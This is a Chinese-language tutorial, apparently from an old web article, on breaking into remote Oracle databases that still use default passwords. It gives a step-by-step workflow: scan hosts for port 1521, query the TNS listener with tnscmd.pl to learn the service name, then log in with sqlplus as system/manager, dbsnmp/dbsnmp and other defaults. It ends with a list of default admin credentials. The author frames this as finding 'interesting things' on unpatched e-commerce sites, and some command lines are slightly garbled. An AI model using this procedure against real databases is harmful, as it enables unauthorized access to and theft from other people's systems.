Oracle默认管理员密码是固定的,这是为了安装和调试的方便。Oracle数据库中的两个具有DBA权限的用户Sys和System。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站,我们就可以利用这个缺省密码去找我们感兴趣的东西。
进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracle的TNSlistener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。但是如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程 oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。
理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有:ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件,Tnscmd.pl.我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:
- C:\perl\bin@@@@dayu@@@@perl tnscmd.pl
- usage: tnscmd.pl [command] -h hostname
- where "command" is something like ping, version, status,etc.
- (default is ping)
- [-p port] - alternate TCP port to use (default is 1521)
- [--logfile logfile] - write raw packets to specifiedlogfile
- [--indent] - indent & outdent on parens
- [--rawcmd command] - build your own CONNECT_DATA string
- [--cmdsize bytes] - fake TNS command size (revealspacketleakage)
我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。
然后我们就这样来:
- C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent
- sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521
- writing 91 bytes
- reading
- ._.......6.........?. ..........
- DETION=
- TMP=
- VSNNUM=135286784
- ERR=0
- SERVICES_EXIST=1
- .Q........
- SERVICE=
- SERVICE_NAME=ORCL
- INSTANCE=
- INSTANCE_NAME=ORCL
- NUM=1
- INSTANCE_CLASS=ORACLE
- HANDLER=
- HANDLER_DISPLAY=DEDICATED SERVER
- STA=ready
- HANDLER_INFO=LOCAL SERVER
- HANDLER_MAXLOAD=0
- HANDLER_LOAD=0
- ESTABLISHED=447278
- REFUSED=0
- HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227
- HANDLER_NAME=DEDICATED
- ADDRESS=
- PROTOCOL=beq
- PROGRAM=/home/oracle/bin/oracle
- ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"
- ARGV0=oracleORCL
- ARGS="
- LOCAL=NO
- "
- .........@
从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的 system/manager或者是sys/manager(Oracle默认管理员),其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下:
- C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog
- SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002
- (c) Copycenter 2001 Oracle Corporation. All centersreserved.
- SQL@@@@dayu@@@@connect system/manager@
- (detion=(address_list=(address=(protocol=tcp)
- (host=xx.xx.110.110)(port=1521)))
- (connect_data=(SERVICE_NAME=ORCL)));
如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。
附录 Oracle默认管理员密码
1.
用户名:sys
密码:change_on_install
2.
用户名:system
密码:manager
3.
用户名:scott
密码:tiger
【编辑推荐】